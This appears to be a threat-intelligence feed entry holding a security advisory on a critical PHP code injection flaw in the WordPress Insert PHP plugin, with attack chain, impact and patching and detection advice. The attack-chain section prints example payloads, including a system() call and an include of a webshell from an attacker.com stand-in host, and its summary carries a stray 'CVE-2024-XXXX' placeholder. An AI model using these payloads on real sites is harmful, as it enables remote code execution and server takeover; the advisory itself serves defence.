{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/insert-php-plugin--3.3.1--3.3.1/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:wpkodes:insert_php_plugin_3_3_1:*:*:*:*:*:*:*:*"],"_cs_cves":[{"cvss":9.8,"id":"CVE-2017-20251"}],"_cs_exploited":false,"_cs_has_poc":true,"_cs_poc_references":["https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POLOSSS-BY-POLOSS..-..CVE-2017-20251\u0026utm_source=rss\u0026utm_medium=rss"],"_cs_products":["Insert PHP plugin \u003c 3.3.1 (\u003c 3.3.1)"],"_cs_severities":["critical"],"_cs_tags":["web-application","wordpress","php","rce","code-injection"],"_cs_type":"advisory","_cs_vendors":["WPKodes"],"content_html":"\u003cp\u003eCVE-2017-20251 is a critical PHP code injection vulnerability affecting WordPress sites running the Insert PHP plugin prior to version 3.3.1. This flaw allows unauthenticated attackers to achieve remote code execution (RCE) by sending specially crafted HTTP POST requests to the WordPress REST API endpoint \u003ccode\u003e/wp-json/wp/v2/posts\u003c/code\u003e. The malicious requests contain \u003ccode\u003einsert_php\u003c/code\u003e shortcodes embedded within the post content, which, when processed by the vulnerable plugin, execute arbitrary PHP code. This enables attackers to include and execute remote PHP files on the server, potentially leading to full system compromise. The vulnerability has a CVSS v3.1 Base Score of 9.8 (Critical) and an exploit has been publicly disclosed.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eReconnaissance\u003c/strong\u003e: An unauthenticated attacker identifies a WordPress instance running the vulnerable Insert PHP plugin (versions prior to 3.3.1).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Exploitation\u003c/strong\u003e: The attacker crafts a malicious HTTP POST request to exploit the PHP code injection vulnerability.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTargeting REST API\u003c/strong\u003e: The crafted request is directed at the WordPress REST API endpoint, specifically \u003ccode\u003e/wp-json/wp/v2/posts\u003c/code\u003e, which is used for creating or updating posts.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eShortcode Injection\u003c/strong\u003e: The POST request's body (representing the post content) includes a malicious \u003ccode\u003e[insert_php]\u003c/code\u003e shortcode containing arbitrary PHP code (e.g., \u003ccode\u003e\u0026lt;?php system('command'); ?\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;?php include 'http://attacker.com/webshell.php'; ?\u0026gt;\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCode Execution\u003c/strong\u003e: The vulnerable Insert PHP plugin processes the \u003ccode\u003e[insert_php]\u003c/code\u003e shortcode within the post content without proper sanitization or authentication checks, leading to the execution of the embedded PHP code.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRemote Code Execution (RCE)\u003c/strong\u003e: The executed PHP code allows the attacker to run arbitrary operating system commands, include remote files, or deploy a web shell for persistent access.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImpact\u003c/strong\u003e: The attacker gains full control over the compromised WordPress server, enabling data exfiltration, website defacement, or further lateral movement within the network.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2017-20251 grants unauthenticated remote code execution on the affected WordPress server. This allows attackers to perform a wide range of malicious activities, including installing backdoors, stealing sensitive data (e.g., database credentials, user information), defacing the website, using the server for further attacks, or establishing a persistent presence. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, making it a severe threat to any organization running the vulnerable plugin. While specific victim counts are not available, public exploits increase the likelihood of widespread targeting.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate the \u0026quot;Insert PHP\u0026quot; plugin to version 3.3.1 or higher immediately to remediate CVE-2017-20251.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rules provided in this brief to your SIEM for detection of exploitation attempts and post-exploitation activity.\u003c/li\u003e\n\u003cli\u003eMonitor web server access logs for unusual POST requests targeting the \u003ccode\u003e/wp-json/wp/v2/posts\u003c/code\u003e endpoint, especially those containing shortcode-like patterns, as indicated in the \u003ccode\u003eDetects CVE-2017-20251 Exploitation — WordPress Insert PHP Shortcode Injection\u003c/code\u003e rule.\u003c/li\u003e\n\u003cli\u003eEnable process creation logging (e.g., Sysmon on Windows, Auditd on Linux) on web servers to detect suspicious child processes spawned by the web server or PHP interpreter, as indicated in the \u003ccode\u003eDetect Web Server Spawning Suspicious Processes\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-10-30T05:31:25Z","date_published":"2026-06-14T21:00:47Z","id":"https://feed.craftedsignal.io/briefs/2026-06-wordpress-insert-php-rce/","summary":"An unauthenticated remote code execution vulnerability (CVE-2024-XXXX, CVE-2017-20251) in WordPress Insert PHP plugin versions before 3.3.1 allows attackers to execute arbitrary PHP code by injecting malicious shortcodes via the WordPress REST API endpoint /wp-json/wp/v2/posts.","title":"WordPress Insert PHP Plugin RCE (CVE-2017-20251)","url":"https://feed.craftedsignal.io/briefs/2026-06-wordpress-insert-php-rce/"}],"language":"en","title":"CraftedSignal Threat Feed - Insert PHP Plugin \u003c 3.3.1 (\u003c 3.3.1)","version":"https://jsonfeed.org/version/1.1"}